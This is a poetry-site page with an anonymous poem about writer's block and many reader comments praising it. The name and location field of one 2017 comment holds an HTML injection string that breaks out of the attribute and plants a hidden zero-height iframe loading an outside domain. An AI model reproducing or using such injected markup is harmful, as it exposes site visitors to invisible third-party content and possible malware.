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By Anonymous

   I miss the keyboard,

even the pen

that always

leaks,

leaving behind

trademark blots

of

blue ink.



Sometimes

I try to

I remember.

Those days

I would write and

publish,

but now

my refrigerator door

stays empty

and cold.

Magnetic fruit beg for a purpose.



I sit.

At a blank screen

where the cruel cursor

winks at me,

in mockery.



I used to know how.

I would type and create

masterpieces.

In just thirty minutes,

I'd have my own Bob Ross painting.

But now the words vanish,

as I search for the next thing to write ...




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InkyOwl GOLD said...
on Mar. 7 2018 at 9:57 pm
InkyOwl GOLD, Bloomington, Indiana
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Where Words fail, Music speaks.<br /> ~Hans Christian Anderson

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I know this feeling...
InkyOwl GOLD said...
on Mar. 7 2018 at 9:56 pm
InkyOwl GOLD, Bloomington, Indiana
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Where Words fail, Music speaks.<br /> ~Hans Christian Anderson

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What to do when you have writer's block: WRITE ABOUT WRITER'S BLOCK!
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on Dec. 14 2017 at 3:26 am
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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This is so true. Your great at writing. :)
DesmineRobinson PLATINUM said...
on Jun. 11 2015 at 7:45 pm
DesmineRobinson PLATINUM, Melvindale, Michigan
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&quot;Life is an opportunity.&quot; <br /> &quot;Different is normal.&quot;<br /> &quot;We have to love ourselves, so we can properly love someone else.&quot;

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Oh my goodness-writer's block is SO depressing- my goodness- and I swear to you- when we look at the written vents about it- those are some of our best works- because they're raw and their honest- like this one. Nice. I hope you get back to yourself again.
Iamwhoiam17 GOLD said...
on Apr. 3 2015 at 3:10 am
Iamwhoiam17 GOLD, Lake City Fl, Florida
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Just be yourself,if you are happy that&#039;s all that matter&#039;s.

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I love this. Beautifully written! It is amazing! :) Please take and rate my poetry,I will appreciate it.
AllSoPlayfulWhenYouDemonize BRONZE said...
on Dec. 10 2014 at 5:28 pm
AllSoPlayfulWhenYouDemonize BRONZE, Richmond, Virginia
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&quot;Our passion is our strength.&quot; <br /> -Billie Joe Armstrong

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Amazing. You are a lovely artist!
BrooklynBridge said...
on Feb. 12 2014 at 9:24 pm
BrooklynBridge, Denver, Colorado
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Talk about writers block! This is the perfect explanation though-loved it!
LOLOU BRONZE said...
on Sep. 9 2012 at 1:31 pm
LOLOU BRONZE, Mount Lebanon, Other
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only one thing makes a dream impossible , the fear of failure !

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this is really great .....i feel like i cant write lke before as well !
garshongjasmine SILVER said...
on Sep. 9 2012 at 2:49 am
garshongjasmine SILVER, Accra, Other
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happiness resides not in possesions, and not in gold, the feeling of happiness dwells in the soul<br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> -democritus

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are you sure you are out of words... because it sounds sooo GREAT!!!! i would really love for you to check out my work and let me know what you think :)
DisicpleofChristandJesusEnthusiast said...
on Aug. 18 2012 at 6:18 pm
This is really great!
freeday15 GOLD said...
on Aug. 18 2012 at 1:54 pm
freeday15 GOLD, Paramus, New Jersey
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&quot;Love is Blind&quot; i truly believe in this it is in all of my pieces, and if u read between the lines then u will find it there...

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that about summed up writers block and everything in between great job
iAmTheStardust PLATINUM said...
on Jul. 27 2012 at 4:28 pm
iAmTheStardust PLATINUM, Moon Twp., Pennsylvania
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&quot;The prettiest flowers grow in the biggest pile of manure.&quot;

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I know the feeling. Great way to write it out. :)
iAmTheStardust PLATINUM said...
on Jul. 27 2012 at 4:28 pm
iAmTheStardust PLATINUM, Moon Twp., Pennsylvania
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&quot;The prettiest flowers grow in the biggest pile of manure.&quot;

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I know the feeling. Great way to write it out. :)
Ninasplaylist BRONZE said...
on May. 22 2012 at 3:14 pm
Ninasplaylist BRONZE, Covington, Louisiana
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This poem is so relatable!
brokenroad GOLD said...
on Apr. 30 2012 at 10:10 am
brokenroad GOLD, Scottsburg, Indiana
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This is really good and I know exactly what you mean in this poem.
Tanner B said...
on Apr. 30 2012 at 8:22 am
Tanner B, Waterford, Wisconsin
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Your poem was great. I liked the personification you used where you talked about the computer winking at you. I also liked how each verse talked a liitle bit about something different each time. Good job!
midnitewanderer GOLD said...
on Nov. 28 2011 at 10:18 pm
midnitewanderer GOLD, West Des Moines, Iowa
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Don&#039;t let what you can&#039;t do stop you from doing what you can do.<br /> John Wooden<br /> The future belongs to those who believe in the beauty of their dreams.<br /> Eleanor Roosevelt

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This is beautiful! I feel like this all of the time, and I feel like a lot of people try and capture this emotion/feeling in words and fail miserable but you aced it! Great Job!

If you got time I wouldn't mind a critique=) Thanks!

lulu1 said...
on Nov. 17 2011 at 6:19 pm
I need some help i am trying to write a poem and i can't figure out which type to write should i write a traditional verse, blank verse,acrostic,diamond poem,conquain or hiaku? when you figure uot which one then you can tell me on my facebook page, alexus plyler. Thanks for the help!!! :) 
Lexie96 GOLD said...
on Nov. 6 2011 at 12:10 pm
Lexie96 GOLD, Havana, Illinois
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Now Cinderella don&#039;t you go to sleep, it&#039;s such a bitter form of refuge, oh don&#039;t you know the kingdom&#039;s under siege, and everbody needs you. - The Killers

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I have the same feeling! I love to write by hand but it takes so long and makes my hand cramp so much that I never get enough done. I can type on the computer, but everything just seems so much more... infinite when you are looking at a blank page of actual paper... great poem... really.

Check out my stuff sometime?

LifesIllusion BRONZE said...
on Nov. 6 2011 at 10:37 am
LifesIllusion BRONZE, Cicero, Indiana
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&quot;Don&#039;t let your fears slow you down. Instead, chase them down and beat them.&quot;

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I have the same feeling sometimes when I write stories. Good poem:)